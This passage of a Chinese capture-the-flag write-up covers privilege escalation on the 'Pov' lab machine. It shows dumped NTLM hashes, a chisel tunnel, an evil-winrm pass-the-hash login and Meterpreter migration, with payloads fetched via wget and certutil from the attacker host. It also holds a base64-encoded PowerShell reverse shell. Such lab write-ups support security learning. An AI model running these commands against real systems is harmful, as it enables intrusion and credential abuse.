Administrator:500:aad3b435b51404eeaad3b435b51404ee:f7c883121d0f63ee5b4312ba7572689b:::

alaading:1001:aad3b435b51404eeaad3b435b51404ee:31c0583909b8349cbe92961f9dfa5dbf:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

sfitz:1000:aad3b435b51404eeaad3b435b51404ee:012e5ed95e8745ea5180f81648b6ec94:::

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:1fa5b00b7c6cc4ac2807c4d5b3dd3dab:::

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

4.3提权

4.3.1端口转发+winrm提权

端口 5985 是 Windows 系统中用于 WinRM(Windows Remote Management) 服务的默认端口。WinRM 是一个基于 Web 服务的协议,允许系统管理员通过网络管理远程计算机

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

5985是localhost=>chisel打开端口,将远程5985转发到本地kai 5985端口,需要在kali上设置服务端

└─# chisel server –reverse -p 7777

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

下载地址:https://github.com/jpillora/chisel/releases/tag/v1.7.4

Chisel可用来搭建内网隧道,类似于常用的frp和nps之类的工具。由于目前使用的人比较少,因此对于有些杀软还不能准确的识别出该工具。chisel可以进行端口转发、反向端口转发以及Socks流量代理,使用go语言编写,支持多个平台使用,是进行内网穿透的一个鲜为人知的好工具。

需要下载chisel.exe,下载好后放到指定文件夹后访问

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

wget http://10.10.16.3:8001/Desktop/often/Pov/chisel.exe -o chisel.exe

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

下载成功后执行

./chisel.exe client 10.10.16.3:7777 R:5985:127.0.0.1:5985

直接使用winrm和admin的hash登录获得权限

evil-winrm -i 127.0.0.1 -u 'Administrator' -H 'f7c883121d0f63ee5b4312ba7572689b'

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

拿到flag:5c330605968ef155830ac69f6279a8a2

4.3.2msf进程迁移winlogen提权

使用ps查看一下靶机正在运行的进程,注意到winlogon.exe文件

winlogon.exe 是 Windows 的登录系统进程,它在用户登录时启动,并处理用户登录和注销的过程。当用户输入用户名和密码后,winlogon.exe 验证用户的凭据,并启动用户环境。它还负责加载用户配置文件、启动用户的用户界面和其他关联的系统任务。

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

migrate 命令用于将当前的 Meterpreter 会话 从一个进程迁移到另一个进程

meterpreter > migrate 556

这里我出现的情况是进去以后不能shell,因为linux系统下与windows系统回车字符不同,所以我直接在meterpreter执行就可。

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

拿到root权限,开始找flag

meterpreter > search -f root.txt

meterpreter > cat C:\Users\Administrator\Desktop\root.txt

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

拿到flag:5c330605968ef155830ac69f6279a8a2

后来我发现可以使用Ctrl+J可以执行命令相当于回车

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

4.3.3psgetsys.ps1提权

下载地址:https://github.com/decoder-it/psgetsystem/blob/master/psgetsys.ps1

上传psgetsys.ps1

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

certutil -urlcache -f http://10.10.16.3:8001/Desktop/often/Pov/psgetsys.ps1 psgetsys.ps1

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

kali提前监听端口8000

chisel server –reverse -p 8000

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

然后在alaading用户使用

./chisel.exe client 10.10.16.3:8000 R:5985:127.0.0.1:5985

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

kali登录alaading

evil-winrm -i 127.0.0.1 -u 'alaading' -H '31c0583909b8349cbe92961f9dfa5dbf'

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

设置监听

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

*Evil-WinRM* PS C:Usersalaadingdownloads> . .psgetsys.ps1

ImpersonateFromParentPid -ppid 4836 -command “c:windowssystem32cmd.exe” -cmdargs “/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwANgA2ADYANgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=”

成功获取到flag:5c330605968ef155830ac69f6279a8a2

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

渗透实战 | Pov靶场ViewState反序列化漏洞利用全解析

再次强调,能力越大,责任越大。希望我们都能用技术去守护,而不是破坏。记得给小编点个“赞”留个关注!!!

我用夸克网盘分享了「1107Pov靶场工具」,点击链接即可保存。打开「夸克APP」,无需下载在线播放视频,畅享原画5倍速,支持电视投屏。链接:https://pan.quark.cn/s/21f80e0bcbfa提取码:5bMM

⚠️ 郑重声明:所有内容均用于合法安全研究,请务必在授权环境下进行测试。做个白帽子,很酷。

📮 欢迎交流讨论评论。如果觉得有用,不妨点个“关注”和 “赞”支持一下。

© 版权声明

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
none
暂无评论...